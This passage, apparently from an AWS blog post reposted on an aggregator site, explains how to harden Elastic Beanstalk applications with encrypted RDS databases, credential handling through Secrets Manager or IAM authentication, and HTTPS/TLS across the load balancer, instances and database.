After the server has restarted, you can access the RDS database in your web application by using the environment propertiesyou set in the console, just as you would if you attached the database directly through the Elastic Beanstalk setup. For more information on using environment properties, visit Environment properties and other software settings.
The new database is now separate from your application and it is encrypted to provide data protection at rest.
Important: The environment properties, including the database username and password, are visible and stored in plain text in the Environment Properties in Elastic Beanstalk.
Depending on your security requirements, you can choose to use AWS Secrets Manager to protect your database credentials, which you can then fetch programmatically in your Elastic Beanstalk instance or through Elastic Beanstalk’s custom environment configuration files (.ebextensions). To learn more about using Secrets Manager to protect and rotate database credentials, see Rotate Amazon RDS database credentials automatically with AWS Secrets Manager. However, this will require additional configuration for Elastic Beanstalk and is beyond the scope of this post.
A second possibility is to use IAM database authentication, which allows you to use your Elastic Beanstalk’s EC2 IAM role to connect to your database. This method leverages short-lived authentication tokens rather than a static database password. In order to set this up, you need to enable IAM database authentication, create an IAM policy to allow IAM database access and create a database account for IAM authentication using the AWSAuthenticationPlugin (for MySQL). Authentication tokens are valid for 15 minutes, and if your web instances need to create a new database connection, or reconnect, authentication tokens will need to be refreshed if they have expired, otherwise the connection will be rejected.
Set up encryption in transit using the HTTPS protocol
In the Elastic Beanstalk architecture, you can encrypt data in transit at three connection points: from your clients to the load balancer, from the load balancer to the EC2 instances, and from the EC2 instances to the RDS database.
Securing the connection from clients to the ALB
You can use a custom domain name to use HTTPS for your Elastic Beanstalk environment and have your clients can connect securely to your environment. If you don’t have a domain name, you can assign a self-signed server certificate to your ALB to use HTTPS for development and testing purposes.
To secure the connection to your ALB, add a HTTPS listener for the traffic inbound port (typically 443) and attach an TLS / SSL server certificate (X.509 certificate). To generate certificates, use AWS Certificate Manager or third-party providers such as Let’s Encrypt. For a walkthrough on how to set up an HTTPS listener through the console or through .ebextensions configuration files, see the Configuring your Elastic Beanstalk environment’s load balancer to terminate HTTPS.
Securing the connection from the ALB to the EC2 instances
While securing the connection between clients and the ALB is enough for most applications, in some cases a complete end-to-end encryption may be required; for example, to comply with (external) regulations. To secure the connection from your ALB to your application running on an EC2 instance, you must use the .ebextensions configuration files to modify the software running on the instance. You then need to allow the HTTPS traffic to pass through from the ALB to your EC2 instance by allowing inbound traffic on port 443 on the instance’s security group. For a Ruby specific example, see Terminating HTTPS on EC2 instances running Ruby.
To securely connect from your application to your RDS database, you can use SSL or TLS to encrypt the connection. You will need to download an RDS root certificate and require your application to use this certificate when connecting to the RDS instance to verify the RDS server certificate. For more information on how to download and use the root certificate to setup a secure RDS connection, see the Using SSL with a MySQL DB instance documentation page.
This post has shown you how to align your application with some of the security best practices of the Well-Architected Framework. After completing these steps, your architecture includes four key modifications to improve security:
The EC2 and RDS instances are deployed in a private subnet.
The logging and source code S3 bucket is encrypted.
An encrypted RDS instance is attached.
Encryption occurs in transit by using the HTTPS protocol.
Conclusion
In this post, we’ve covered the additional configuration you should be aware of to harden the security posture of your Elastic Beanstalk applications, aligning to the Security pillar of the Well-Architected Framework. The final setup you created uses a VPC and private subnets to allow internet access only to resources that require it, and provides encryption at rest and in transit using AWS Cloud Security services and secure protocols. The Well-Architected Framework describes additional concepts, design principles, and architectural best practices for designing and running workloads in the cloud. To learn more, see AWS Well-Architected.
If you have feedback about this post, submit comments in the Comments section below.
Want more AWS Security news? Follow us on Twitter.
The collective thoughts of the interwebz
Manage Consent
To provide the best experiences, we use technologies like cookies to store and/or access device information. Consenting to these technologies will allow us to process data such as browsing behavior or unique IDs on this site. Not consenting or withdrawing consent, may adversely affect certain features and functions.
Functional
Always active
The technical storage or access is strictly necessary for the legitimate purpose of enabling the use of a specific service explicitly requested by the subscriber or user, or for the sole purpose of carrying out the transmission of a communication over an electronic communications network.
Preferences
The technical storage or access is necessary for the legitimate purpose of storing preferences that are not requested by the subscriber or user.
Statistics
The technical storage or access that is used exclusively for statistical purposes.The technical storage or access that is used exclusively for anonymous statistical purposes. Without a subpoena, voluntary compliance on the part of your Internet Service Provider, or additional records from a third party, information stored or retrieved for this purpose alone cannot usually be used to identify you.
Marketing
The technical storage or access is required to create user profiles to send advertising, or to track the user on a website or across several websites for similar marketing purposes.
